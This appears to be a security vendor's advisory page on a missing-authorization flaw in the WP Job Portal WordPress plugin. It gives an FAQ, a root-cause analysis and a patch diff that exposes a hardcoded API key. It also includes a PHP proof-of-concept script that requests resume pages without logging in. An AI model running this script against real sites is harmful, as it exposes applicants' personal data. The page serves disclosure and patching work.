What is CVE-2026-24941?

CVE-2026-24941 is a medium-severity vulnerability in the WP Job Portal plugin for WordPress, specifically versions up to and including 2.4.4. It allows unauthenticated attackers to access sensitive resume data due to a missing authorization check.

How does the vulnerability work?

The vulnerability exists in the resume viewing functionality of the WP Job Portal plugin. An improper access control check allows unauthenticated users to view resumes by directly accessing the resume viewing endpoint without any authentication.

Who is affected by this vulnerability?

All users of the WP Job Portal plugin versions 2.4.4 and earlier are affected. This includes any WordPress sites utilizing this plugin for job board or recruitment functionalities.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the WP Job Portal plugin installed. If it is version 2.4.4 or earlier, your site is at risk and should be updated immediately.

How can I fix this vulnerability?

To fix CVE-2026-24941, update the WP Job Portal plugin to version 2.4.5 or later. This version includes a patch that corrects the authorization checks and disables unauthorized access to resume viewing.

What does the CVSS score of 5.3 indicate?

A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a significant risk of unauthorized access to sensitive information if exploited.

What is the impact of this vulnerability?

The primary impact of this vulnerability is unauthorized access to sensitive resume information, including personal details and work history. Although it does not allow modification or deletion of data, it can facilitate identity theft and social engineering attacks.

What changes were made in the patched version?

In version 2.4.5, the configuration setting ‘visitorview_emp_viewresume’ was changed from 1 to 0, disabling default visitor access to resumes. Additionally, the authorization checks in the resume controller were updated to enforce stricter access controls.

How does the proof of concept demonstrate the vulnerability?

The proof of concept illustrates how an attacker can access the resume viewing endpoint without authentication by sending HTTP requests. It shows that no special parameters are needed, making it easy to exploit this vulnerability.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider disabling the resume viewing functionality or restricting access to the affected endpoints through server configurations or firewall rules until you can apply the patch.

Are there any other security measures I should take?

In addition to updating the plugin, ensure that your WordPress installation and all other plugins are up to date. Regularly review user permissions and implement security plugins that monitor for unauthorized access.

Where can I find more information about this vulnerability?

More information about CVE-2026-24941 can be found on the official CVE database, security advisories from the plugin developers, and security-focused websites that track vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-24941: WP Job Portal <= 2.4.4 – Missing Authorization (wp-job-portal)

CVE ID CVE-2026-24941

Plugin wp-job-portal

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 2.4.4

Patched Version 2.4.5

Disclosed February 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24941:
The WP Job Portal plugin version 2.4.4 and earlier contains a missing authorization vulnerability in the resume viewing functionality. This allows unauthenticated attackers to access sensitive resume data that should require authentication. The vulnerability has a CVSS score of 5.3 (Medium severity).

The root cause is an improper access control check in the resume module controller. In file wp-job-portal/modules/resume/controller.php, the condition at line 139 checks multiple user roles and permissions but fails to properly enforce authorization. The condition uses logical OR operators that allow access if any single condition passes. The problematic check includes a configuration setting ‘visitorview_emp_viewresume’ that controls visitor access to resumes. When this setting is enabled (value 1), the condition grants access to unauthenticated visitors regardless of other authorization requirements.

The exploitation method involves directly accessing the resume viewing endpoint without authentication. Attackers can send HTTP requests to the plugin’s resume view functionality, typically via frontend URLs or AJAX handlers that trigger the vulnerable controller method. The attack requires no special parameters or payloads, only access to the resume viewing interface. Unauthenticated users can view resumes that should be restricted to employers or administrators.

The patch modifies the configuration setting ‘visitorview_emp_viewresume’ from value 1 to 0 in the activation.php file. This change disables the default visitor access to resumes. The patch also adjusts the logical condition in controller.php line 139 to properly separate authorization checks. The updated condition ensures that visitor access requires explicit configuration permission rather than being granted by default.

Successful exploitation allows unauthenticated attackers to view sensitive resume information including personal details, contact information, work history, and education records. This constitutes unauthorized access to private data and violates data privacy expectations. The impact is limited to data exposure rather than modification or deletion, but the exposed information could facilitate social engineering, identity theft, or competitive intelligence gathering.

Differential between vulnerable and patched code

Code Diff

--- a/wp-job-portal/includes/activation.php
+++ b/wp-job-portal/includes/activation.php
@@ -468,7 +468,7 @@
               ('searchjobtag', '4', 'job', 'tag'),
               ('categories_colsperrow', '3', 'category', NULL),
               ('productcode', 'wpjobportal', 'default', NULL),
-              ('versioncode', '2.4.4', 'default', NULL),
+              ('versioncode', '2.4.5', 'default', NULL),
               ('producttype', 'free', 'default', NULL),
               ('vis_jscredits', '0', 'jscontrolpanel', 'credits'),
               ('vis_emcredits', '1', 'emcontrolpanel', NULL),
@@ -544,7 +544,7 @@
               ('vis_emresumebycategory', '1', 'emcontrolpanel', NULL),
               ('default_pageid', '239', 'default', NULL),
               ('visitorview_emp_resumesearch', '1', 'visitor', 'resumesearch'),
-              ('visitorview_emp_viewresume', '1', 'visitor', NULL),
+              ('visitorview_emp_viewresume', '0', 'visitor', NULL),
               ('visitorview_emp_resumecat', '1', 'visitor', NULL),
               ('google_map_api_key', 'AIzaSyCZcnAK0DiGg8lAXej74e7PlrhkfCM86-M', 'default', NULL),
               ('tell_a_friend_captcha', '1', 'captcha', NULL),
--- a/wp-job-portal/includes/wpjobportal-ai.php
+++ b/wp-job-portal/includes/wpjobportal-ai.php
@@ -1,288 +0,0 @@
-<?php
-/**
- * AI Content Generator – Popup + Button + Preview
- * Works anywhere in WP Admin (Classic Editor, Elementor, WPBakery, custom editors)
- */
-
-
-if (!defined('ABSPATH'))
-    die('Restricted Access');
-
-/**
- * Enqueue CSS + JS + Inline Script
- */
-?>
-<style>
-
-    /* === AI GENERATOR MODAL – WRAPPER === */
-    body .wpjp-ai-modal-overlay {
-        position: fixed;
-        top: 0; left: 0;
-        width: 100%; height: 100%;
-        background: rgba(0,0,0,0.55);
-        display: none;
-        z-index: 999999;
-    }
-
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal {
-        background: #fff;
-        width: 750px;
-        max-width: 90%;
-        margin: 6% auto;
-        padding: 0;
-        border-radius: 10px;
-        overflow: hidden;
-        box-shadow: 0 10px 40px rgba(0,0,0,0.2);
-        font-family: inherit;
-    }
-
-    /* === HEADER === */
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal .wpjp-ai-modal-header {
-        background: #2271b1;
-        padding: 15px 20px;
-        color: #fff;
-        font-size: 18px;
-        font-weight: bold;
-    }
-
-    /* === CONTENT === */
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal .wpjp-ai-modal-content {
-        padding: 20px;
-        max-height: 500px;
-        overflow-y: auto;
-    }
-
-    .wpjp-ai-field-group {
-        margin-bottom: 15px;
-    }
-    .wpjp-ai-field-group label {
-        font-weight: 600;
-        margin-bottom: 5px;
-        display: block;
-    }
-    .wpjp-ai-field-group input,
-    .wpjp-ai-field-group select,
-    .wpjp-ai-field-group textarea {
-        width: 100%;
-        padding: 8px;
-        border-radius: 5px;
-    }
-
-    /* === ACCORDION === */
-    .wpjp-ai-accordion-item {
-        border: 1px solid #ddd;
-        border-radius: 6px;
-        margin-bottom: 12px;
-    }
-    .wpjp-ai-accordion-header {
-        padding: 12px;
-        background: #f6f7f7;
-        cursor: pointer;
-        font-weight: 600;
-    }
-    .wpjp-ai-accordion-body {
-        display: none;
-        padding: 15px;
-        background: #fff;
-    }
-
-    /* === PREVIEW BOX === */
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal .wpjp-ai-preview-box {
-        border: 1px solid #ccc;
-        background: #fafafa;
-        padding: 15px;
-        margin-top: 20px;
-        border-radius: 6px;
-        white-space: pre-wrap;
-    }
-
-    /* === FOOTER BUTTONS === */
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal .wpjp-ai-modal-footer {
-        padding: 15px 20px;
-        background: #f1f1f1;
-        text-align: right;
-    }
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal .wpjp-ai-btn {
-        padding: 8px 18px;
-        border-radius: 6px;
-        cursor: pointer;
-    }
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal .wpjp-ai-btn-primary {
-        background: #2271b1;
-        color: #fff;
-    }
-    body .wpjp-ai-modal-overlay .wpjp-ai-modal .wpjp-ai-btn-secondary {
-        background: #bbb;
-    }
-  </style>
-
-  <?php
-    // ---------------------------------------
-    // 2. JS
-    // ---------------------------------------
-    wp_register_script('wpjp-ai-js', '');
-    wp_enqueue_script('wpjp-ai-js');
-
-    $wpjobportal_js = "
-        jQuery(document).ready(function($){
-
-            /* OPEN MODAL */
-            $('.wpjp-ai-generate-btn').on('click', function(e){
-                e.preventDefault();
-                $('.wpjp-ai-modal-overlay').fadeIn(200);
-            });
-
-            /* CLOSE MODAL */
-            $(document).on('click', '.wpjp-ai-close-modal', function(){
-                $('.wpjp-ai-modal-overlay').fadeOut(200);
-            });
-
-            /* ACCORDION */
-            $('.wpjp-ai-accordion-header').on('click', function(){
-                $(this).next('.wpjp-ai-accordion-body').slideToggle(200);
-            });
-
-            /* GENERATE PREVIEW (DEMO ONLY — replace with AJAX later) */
-            $('#wpjp-ai-generate-preview').on('click', function(){
-
-                let topic   = $('#wpjp-ai-topic').val();
-                let length  = $('#wpjp-ai-length').val();
-                let tone    = $('#wpjp-ai-tone').val();
-                let lang    = $('#wpjp-ai-language').val();
-                let style   = $('#wpjp-ai-style').val();
-                let include = $('#wpjp-ai-keywords').val();
-
-                let preview =
-                    '--- AI Preview ---\n' +
-                    'Topic: ' + topic + '\n' +
-                    'Length: ' + length + '\n' +
-                    'Tone: ' + tone + '\n' +
-                    'Language: ' + lang + '\n' +
-                    'Style: ' + style + '\n' +
-                    'Keywords: ' + include + '\n\n' +
-                    'Lorem ipsum generated sample...';
-
-                $('.wpjp-ai-preview-box').text(preview);
-            });
-
-            /* INSERT INTO EDITOR */
-            $('#wpjp-ai-insert-content').on('click', function(){
-
-                let content = $('.wpjp-ai-preview-box').text();
-
-                if (typeof tinyMCE !== 'undefined' && tinyMCE.activeEditor) {
-                    tinyMCE.activeEditor.execCommand('mceInsertContent', false, content);
-                }
-
-                let textarea = $('textarea.wp-editor-area');
-                if (textarea.length) {
-                    textarea.val(textarea.val() + "\n" + content);
-                }
-
-                $('.wpjp-ai-modal-overlay').fadeOut(200);
-            });
-
-        });
-    ";
-    wp_add_inline_script('wpjp-ai-js', $wpjobportal_js);
-    ?>
-
-    <!-- AI CONTENT GENERATOR MODAL -->
-    <div class="wpjp-ai-modal-overlay">
-        <div class="wpjp-ai-modal">
-
-            <div class="wpjp-ai-modal-header">
-                <?php echo __('AI Content Generator', 'wp-job-portal'); ?>
-                <span class="wpjp-ai-close-modal" style="float:right; cursor:pointer;">×</span>
-            </div>
-
-            <div class="wpjp-ai-modal-content">
-
-                <!-- Accordion – Main Settings -->
-                <div class="wpjp-ai-accordion-item">
-                    <div class="wpjp-ai-accordion-header">
-                        <?php echo __('Main Options', 'wp-job-portal'); ?>
-                    </div>
-                    <div class="wpjp-ai-accordion-body">
-                        <div class="wpjp-ai-field-group">
-                            <label><?php echo __('Topic / Prompt', 'wp-job-portal'); ?></label>
-                            <input id="wpjp-ai-topic" type="text">
-                        </div>
-
-                        <div class="wpjp-ai-field-group">
-                            <label><?php echo __('Content Length', 'wp-job-portal'); ?></label>
-                            <select id="wpjp-ai-length">
-                                <option value="short"><?php echo __('Short', 'wp-job-portal'); ?></option>
-                                <option value="medium"><?php echo __('Medium', 'wp-job-portal'); ?></option>
-                                <option value="long"><?php echo __('Long', 'wp-job-portal'); ?></option>
-                            </select>
-                        </div>
-
-                        <div class="wpjp-ai-field-group">
-                            <label><?php echo __('Tone', 'wp-job-portal'); ?></label>
-                            <select id="wpjp-ai-tone">
-                                <option value="formal"><?php echo __('Formal', 'wp-job-portal'); ?></option>
-                                <option value="friendly"><?php echo __('Friendly', 'wp-job-portal'); ?></option>
-                                <option value="professional"><?php echo __('Professional', 'wp-job-portal'); ?></option>
-                            </select>
-                        </div>
-
-                    </div>
-                </div>
-
-                <!-- More AI Advanced Settings -->
-                <div class="wpjp-ai-accordion-item">
-                    <div class="wpjp-ai-accordion-header">
-                        <?php echo __('Advanced Options', 'wp-job-portal'); ?>
-                    </div>
-                    <div class="wpjp-ai-accordion-body">
-
-                        <div class="wpjp-ai-field-group">
-                            <label><?php echo __('Language', 'wp-job-portal'); ?></label>
-                            <select id="wpjp-ai-language">
-                                <option value="en"><?php echo __('English', 'wp-job-portal'); ?></option>
-                                <option value="es"><?php echo __('Spanish', 'wp-job-portal'); ?></option>
-                                <option value="fr"><?php echo __('French', 'wp-job-portal'); ?></option>
-                                <option value="de"><?php echo __('German', 'wp-job-portal'); ?></option>
-                            </select>
-                        </div>
-
-                        <div class="wpjp-ai-field-group">
-                            <label><?php echo __('Writing Style', 'wp-job-portal'); ?></label>
-                            <select id="wpjp-ai-style">
-                                <option value="blog"><?php echo __('Blog Article', 'wp-job-portal'); ?></option>
-                                <option value="technical"><?php echo __('Technical', 'wp-job-portal'); ?></option>
-                                <option value="marketing"><?php echo __('Marketing Copy', 'wp-job-portal'); ?></option>
-                                <option value="story"><?php echo __('Story / Creative', 'wp-job-portal'); ?></option>
-                            </select>
-                        </div>
-
-                        <div class="wpjp-ai-field-group">
-                            <label><?php echo __('Required Keywords', 'wp-job-portal'); ?></label>
-                            <input id="wpjp-ai-keywords" type="text" placeholder="<?php echo __('Comma separated', 'wp-job-portal'); ?>">
-                        </div>
-
-                    </div>
-                </div>
-
-                <!-- PREVIEW -->
-                <div class="wpjp-ai-preview-box"></div>
-
-            </div>
-
-            <div class="wpjp-ai-modal-footer">
-                <button class="wpjp-ai-btn wpjp-ai-btn-secondary wpjp-ai-close-modal">
-                    <?php echo __('Close', 'wp-job-portal'); ?>
-                </button>
-
-                <button id="wpjp-ai-generate-preview" class="wpjp-ai-btn wpjp-ai-btn-primary">
-                    <?php echo __('Generate Preview', 'wp-job-portal'); ?>
-                </button>
-
-                <button id="wpjp-ai-insert-content" class="wpjp-ai-btn wpjp-ai-btn-primary">
-                    <?php echo __('Insert into Editor', 'wp-job-portal'); ?>
-                </button>
-            </div>
-
-        </div>
-    </div>
--- a/wp-job-portal/includes/wpjobportal-hooks.php
+++ b/wp-job-portal/includes/wpjobportal-hooks.php
@@ -173,7 +173,11 @@
         $wpjobportal_user_first = sanitize_text_field(WPJOBPORTALrequest::getVar("wpjobportal_user_first"));
         $wpjobportal_user_last = sanitize_text_field(WPJOBPORTALrequest::getVar("wpjobportal_user_last"));
         $wpjobportal_user_pass = wpjobportal::wpjobportal_sanitizeData(WPJOBPORTALrequest::getVar("wpjobportal_user_pass") );
-        $wpjobportal_photo = sanitize_file_name($_FILES['photo']['name']);
+        if(!empty($_FILES['photo'])){
+            $wpjobportal_photo = sanitize_file_name($_FILES['photo']['name']);
+        }else{
+            $wpjobportal_photo = '';
+        }
         $pass_confirm = wpjobportal::wpjobportal_sanitizeData(WPJOBPORTALrequest::getVar("wpjobportal_user_pass_confirm") );

         // this is required for username checks
--- a/wp-job-portal/modules/activitylog/model.php
+++ b/wp-job-portal/modules/activitylog/model.php
@@ -488,7 +488,8 @@
                 $wpjobportal_entityname = esc_html(__('Email Template', 'wp-job-portal'));
                 $wpjobportal_linktext = $flag == 1 ? $columns['templatefor'] : $this->getEntityNameOrTitle($wpjobportal_id, 'templatefor', $wpjobportal_tablename);
                 $wpjobportal_path = "?page=wpjobportal_emailtemplate&wpjobportallt=formemailtemplte&wpjobportalid=$wpjobportal_id";
-                $wpjobportal_html = "<a href=" . esc_url($wpjobportal_path) . " target='".esc_attr($wpjobportal_target)."''><strong>" . esc_html($wpjobportal_linktext) . "</strong></a>";
+                $wpjobportal_html = "<strong>" . esc_html($wpjobportal_linktext) . "</strong>";
+                //$wpjobportal_html = "<a href=" . esc_url($wpjobportal_path) . " target='".esc_attr($wpjobportal_target)."''><strong>" . esc_html($wpjobportal_linktext) . "</strong></a>";
                 break;
             //tables that have name as column
             case 'companies':
--- a/wp-job-portal/modules/configuration/tmpl/admin_configurations.php
+++ b/wp-job-portal/modules/configuration/tmpl/admin_configurations.php
@@ -1345,7 +1345,7 @@
                         $usedTags.append(
                             `<span class="template-tag">
                                 ${tag}
-                                <i class="fas fa-times template-tag-remove" data-tag="${tag}"></i>
+                                <span class="template-tag-remove" data-tag="${tag}">X</span>
                             </span>`
                         );
                     });
--- a/wp-job-portal/modules/emailtemplate/model.php
+++ b/wp-job-portal/modules/emailtemplate/model.php
@@ -959,7 +959,8 @@
                         $wpjobportal_senderEmail = $wpjobportal_config_array['mailfromaddress'];
                         $wpjobportal_senderName = $wpjobportal_config_array['mailfromname'];
                         // package status changed  mail to User/agency
-                        if( ($record->userid ? $wpjobportal_emailstatus->agency : $wpjobportal_emailstatus->user) == 1 ){
+                        //if( ($record->userid ? $wpjobportal_emailstatus->agency : $wpjobportal_emailstatus->user) == 1 ){ // log error agency is undefined
+                        if(  $wpjobportal_emailstatus->user == 1 ){
                             $this->sendEmail($receiveremail, $wpjobportal_msgSubject, $wpjobportal_msgBody, $wpjobportal_senderEmail, $wpjobportal_senderName, '');
                         }
                         break;
--- a/wp-job-portal/modules/fieldordering/model.php
+++ b/wp-job-portal/modules/fieldordering/model.php
@@ -598,7 +598,7 @@
         if($wpjobportal_data['fieldfor'] == 3){
            if(!isset($wpjobportal_data['section']) && isset($wpjobportal_data['section_value'])){
                 $wpjobportal_data['section'] = $wpjobportal_data['section_value'];
-           }elseif($wpjobportal_data['section'] == '' && isset($wpjobportal_data['section_value'])){
+           }elseif(empty($wpjobportal_data['section']) && isset($wpjobportal_data['section_value'])){ //  log error fix
                 $wpjobportal_data['section'] = $wpjobportal_data['section_value'];
            }

--- a/wp-job-portal/modules/job/tmpl/admin_jobs.php
+++ b/wp-job-portal/modules/job/tmpl/admin_jobs.php
@@ -239,7 +239,7 @@
         <!-- page content -->
         <div id="wpjobportal-admin-wrapper" class="p0 bg-n bs-n">
             <div id="js_ajax_pleasewait" style="display:none;">
-                <img src="<?php echo esc_url(WPJOBPORTAL_PLUGIN_URL); ?>includes/images/pleasewait.gif"/>
+                <img src="<?php echo esc_url(WPJOBPORTAL_PLUGIN_URL); ?>includes/images/spinning-wheel.gif"/>
             </div>
             <p id="js_jobcopid" style="display:none;">
                 <?php echo esc_html(__('Job Copied Successfully', 'wp-job-portal')); ?>
--- a/wp-job-portal/modules/jobapply/model.php
+++ b/wp-job-portal/modules/jobapply/model.php
@@ -355,7 +355,8 @@
         return $wpjobportal_html;
     }

-    function getJobApplyDetailByid(){
+    /* may not in used
+	function getJobApplyDetailByid(){
         $wpjobportal_id = WPJOBPORTALrequest::getVar('id');
         $wpjobportal_pageid = WPJOBPORTALrequest::getVar('pageid');
         $wpjobportal_content="";
@@ -415,7 +416,7 @@
         }
         $wpjobportal_array = array('title' => "", 'wpjobportal_content' => $wpjobportal_content);
         return wp_json_encode($wpjobportal_array);
-    }
+    }*/

     function getApplyNowByJobid() {
         $wpjobportal_nonce = WPJOBPORTALrequest::getVar('js_nonce');
@@ -908,8 +909,12 @@
             }
         }
         $return = WPJOBPORTAL_SAVED;
-        //if($quick_apply == 0){ // package system calculation ignored in case of quickapply
-            $wpjobportal_submitType = wpjobportal::$_config->getConfigValue('submission_type');
+        $wpjobportal_visitor_can_apply_to_job = wpjobportal::$_config->getConfigurationByConfigName('visitor_can_apply_to_job');
+        // package system checks need to ignored for visitor job apply
+        $wpjobportal_submitType = wpjobportal::$_config->getConfigValue('submission_type'); // was showing as undefined in below cases
+        if(WPJOBPORTALincluder::getObjectClass('user')->isguest() &&  $wpjobportal_visitor_can_apply_to_job == 1){
+            $wpjobportal_data['status'] = 1;// job apply status 1 in case of visitor apply on job
+        }else{
             if(in_array('credits', wpjobportal::$_active_addons)){
                 if($wpjobportal_submitType == 2){
                     # Perlisting
@@ -955,9 +960,7 @@
                     $wpjobportal_data['status'] = 1;
                 }
             }
-        // }else{
-        //     $wpjobportal_data['status'] = 1;// job apply status 1 in case of quick job apply
-        // }
+        }

         $wpjobportal_data = wpjobportal::wpjobportal_sanitizeData($wpjobportal_data);
         if (!$wpjobportal_row->bind($wpjobportal_data)) {
--- a/wp-job-portal/modules/resume/controller.php
+++ b/wp-job-portal/modules/resume/controller.php
@@ -136,7 +136,7 @@
                     //$wpjobportal_layout = 'viewresume';
                     $wpjobportal_resumeid = '';
                     try {
-                        if (current_user_can('manage_options') || (WPJOBPORTALincluder::getObjectClass('user')->isemployer() && $wpjobportal_empflag == 1 || wpjobportal::$_config->getConfigurationByConfigName('visitorview_emp_viewresume') == 1) || WPJOBPORTALincluder::getObjectClass('user')->isjobseeker() ) {
+                        if (current_user_can('manage_options') || (WPJOBPORTALincluder::getObjectClass('user')->isemployer() && $wpjobportal_empflag == 1) || wpjobportal::$_config->getConfigurationByConfigName('visitorview_emp_viewresume') == 1 || WPJOBPORTALincluder::getObjectClass('user')->isjobseeker() ) {
                             $wpjobportal_resumeid = WPJOBPORTALrequest::getVar('wpjobportalid');
                             $wpjobportal_socialid = WPJOBPORTALrequest::getVar('jsscid');
                             //check for the social id
--- a/wp-job-portal/modules/slug/model.php
+++ b/wp-job-portal/modules/slug/model.php
@@ -129,7 +129,7 @@

         $wpjobportal_html .= '<div class="popup-field-wrapper">
                     <div class="popup-field-title">' . esc_html(__('Slug','wp-job-portal')).' '. esc_html(__('Name', 'wp-job-portal')) . ' <span style="color: red;"> *</span></div>
-                         <div class="popup-field-obj">' . WPJOBPORTALformfield::text('slugedit', isset($wpjobportal_slug) ? wpjobportalphplib::wpJP_trim($wpjobportal_slug) : 'text', '', array('class' => 'inputbox one', 'data-validation' => 'required')) . '</div>
+                         <div class="popup-field-obj">' . WPJOBPORTALformfield::text('slugedit', isset($wpjobportal_slug) ? wpjobportalphplib::wpJP_trim($wpjobportal_slug) : 'text',  array('class' => 'inputbox one', 'data-validation' => 'required')) . '</div>
                     </div>';
         $wpjobportal_html .='<div class="popup-act-btn-wrp">
                     ' . WPJOBPORTALformfield::button('save', esc_html(__('Save', 'wp-job-portal')), array('class' => 'button savebutton popup-act-btn','onClick'=>'getFieldValue();'));
--- a/wp-job-portal/modules/wpjobportal/model.php
+++ b/wp-job-portal/modules/wpjobportal/model.php
@@ -650,7 +650,7 @@
         return  array(
             'wp-job-portal-elegantdesign' => array('title' => esc_html(__('Elegant Design','wp-job-portal')), 'price' => 0, 'status' => 1),
             'wp-job-portal-addressdata' => array('title' => esc_html(__('Address Data','wp-job-portal')), 'price' => 0, 'status' => 1),
-            'wp-job-portal-sociallogin' => array('title' => esc_html(__('Social Login','wp-job-portal')), 'price' => 0, 'status' => 1),
+            //'wp-job-portal-sociallogin' => array('title' => esc_html(__('Social Login','wp-job-portal')), 'price' => 0, 'status' => 1),
             'wp-job-portal-visitorapplyjob' => array('title' => esc_html(__('visitor apply job','wp-job-portal')), 'price' => 0, 'status' => 1),
             'wp-job-portal-multicompany' => array('title' => esc_html(__('Multi Company','wp-job-portal')), 'price' => 0, 'status' => 1),
             'wp-job-portal-featuredcompany' => array('title' => esc_html(__('featured company','wp-job-portal')), 'price' => 0, 'status' => 1),
--- a/wp-job-portal/wp-job-portal.php
+++ b/wp-job-portal/wp-job-portal.php
@@ -3,14 +3,14 @@
 /**
  * @package WP JOB PORTAL
  * @author Ahmad Bilal
- * @version 2.4.4
+ * @version 2.4.5
  */
 /*
   * Plugin Name: WP Job Portal
   * Plugin URI: https://wpjobportal.com/
   * Description: WP Job Portal is WordPress’s best job board plugin — easy to use, highly configurable, and built to support both job seekers and employers. AI-powered add-ons offers smart job & resume search, and personalized recommendations.
   * Author: WP Job Portal
-  * Version: 2.4.4
+  * Version: 2.4.5
   * Text Domain: wp-job-portal
   * Domain Path: /languages
   * Author URI: https://wpjobportal.com/
@@ -80,7 +80,7 @@
         self::$_data = array();
         self::$_error_flag = null;
         self::$_error_flag_message = null;
-        self::$_currentversion = '244';
+        self::$_currentversion = '245';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_common = WPJOBPORTALincluder::getJSModel('common');
         self::$_config = WPJOBPORTALincluder::getJSModel('configuration');
@@ -190,7 +190,7 @@
                 if( $plugin == $our_plugin ) {
                     update_option('wpjp_currentversion', self::$_currentversion);
                     include_once WPJOBPORTAL_PLUGIN_PATH . 'includes/updates/updates.php';
-                    WPJOBPORTALupdates::checkUpdates('244');
+                    WPJOBPORTALupdates::checkUpdates('245');

                 	// restore colors data
 		            require(WPJOBPORTAL_PLUGIN_PATH . 'includes/css/style_color.php');
@@ -1505,7 +1505,7 @@
 				update_option('wpjp_currentversion', wpjobportal::$_currentversion);
 				include_once WPJOBPORTAL_PLUGIN_PATH . 'includes/updates/updates.php';

-				WPJOBPORTALupdates::checkUpdates('244');
+				WPJOBPORTALupdates::checkUpdates('245');


 				// restore colors data

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24941 - WP Job Portal <= 2.4.4 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24941
 * Demonstrates unauthorized resume viewing in WP Job Portal plugin
 * 
 * Usage: php poc.php --url=https://target.site
 */

$target_url = '';

// Parse command line arguments
if ($argc > 1) {
    foreach ($argv as $arg) {
        if (strpos($arg, '--url=') === 0) {
            $target_url = substr($arg, 6);
        }
    }
}

if (empty($target_url)) {
    echo "Usage: php poc.php --url=https://target.siten";
    exit(1);
}

// Ensure URL has trailing slash
$target_url = rtrim($target_url, '/') . '/';

// Test for vulnerable endpoint - attempt to access resume view
// The exact endpoint may vary based on plugin configuration
// Common patterns include:
// - /resume/view-resume/?wpjobportalid=1
// - /?page=wpjobportal_resume&wpjobportallt=viewresume&wpjobportalid=1

$test_endpoints = [
    '?page=wpjobportal_resume&wpjobportallt=viewresume&wpjobportalid=1',
    'resume/view-resume/?wpjobportalid=1',
    '?wpjobportal_pageid=resume&wpjobportallt=viewresume&wpjobportalid=1'
];

echo "[+] Testing target: $target_urln";
echo "[+] Attempting to access resume without authentication...nn";

foreach ($test_endpoints as $endpoint) {
    $test_url = $target_url . $endpoint;
    
    echo "Testing endpoint: $test_urln";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $test_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    echo "HTTP Status: $http_coden";
    
    // Check for indicators of successful resume access
    if ($http_code == 200) {
        $indicators = [
            'resume-details',
            'personal-information',
            'work-experience',
            'education-history',
            'wp-job-portal',
            'wpjobportal'
        ];
        
        $found = false;
        foreach ($indicators as $indicator) {
            if (stripos($response, $indicator) !== false) {
                $found = true;
                break;
            }
        }
        
        if ($found) {
            echo "[!] VULNERABLE: Successfully accessed resume data without authenticationn";
            echo "[!] The plugin appears to be vulnerable to CVE-2026-24941n";
            exit(0);
        }
    }
    
    echo "---n";
}

echo "[-] Could not confirm vulnerability. The plugin may be patched or endpoints differ.n";
echo "[-] Note: Actual exploitation may require different parameters or resume IDs.n";

?>

Frequently Asked Questions

What is CVE-2026-24941?
Overview of the vulnerability
CVE-2026-24941 is a medium-severity vulnerability in the WP Job Portal plugin for WordPress, specifically versions up to and including 2.4.4. It allows unauthenticated attackers to access sensitive resume data due to a missing authorization check.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability exists in the resume viewing functionality of the WP Job Portal plugin. An improper access control check allows unauthenticated users to view resumes by directly accessing the resume viewing endpoint without any authentication.
Who is affected by this vulnerability?
Identifying impacted users
All users of the WP Job Portal plugin versions 2.4.4 and earlier are affected. This includes any WordPress sites utilizing this plugin for job board or recruitment functionalities.
How can I check if my site is vulnerable?
Verifying plugin version
To check if your site is vulnerable, verify the version of the WP Job Portal plugin installed. If it is version 2.4.4 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Steps to mitigate the issue
To fix CVE-2026-24941, update the WP Job Portal plugin to version 2.4.5 or later. This version includes a patch that corrects the authorization checks and disables unauthorized access to resume viewing.
What does the CVSS score of 5.3 indicate?
Understanding risk levels
A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a significant risk of unauthorized access to sensitive information if exploited.
What is the impact of this vulnerability?
Consequences of exploitation
The primary impact of this vulnerability is unauthorized access to sensitive resume information, including personal details and work history. Although it does not allow modification or deletion of data, it can facilitate identity theft and social engineering attacks.
What changes were made in the patched version?
Details of the patch
In version 2.4.5, the configuration setting ‘visitorview_emp_viewresume’ was changed from 1 to 0, disabling default visitor access to resumes. Additionally, the authorization checks in the resume controller were updated to enforce stricter access controls.
How does the proof of concept demonstrate the vulnerability?
Understanding the exploitation method
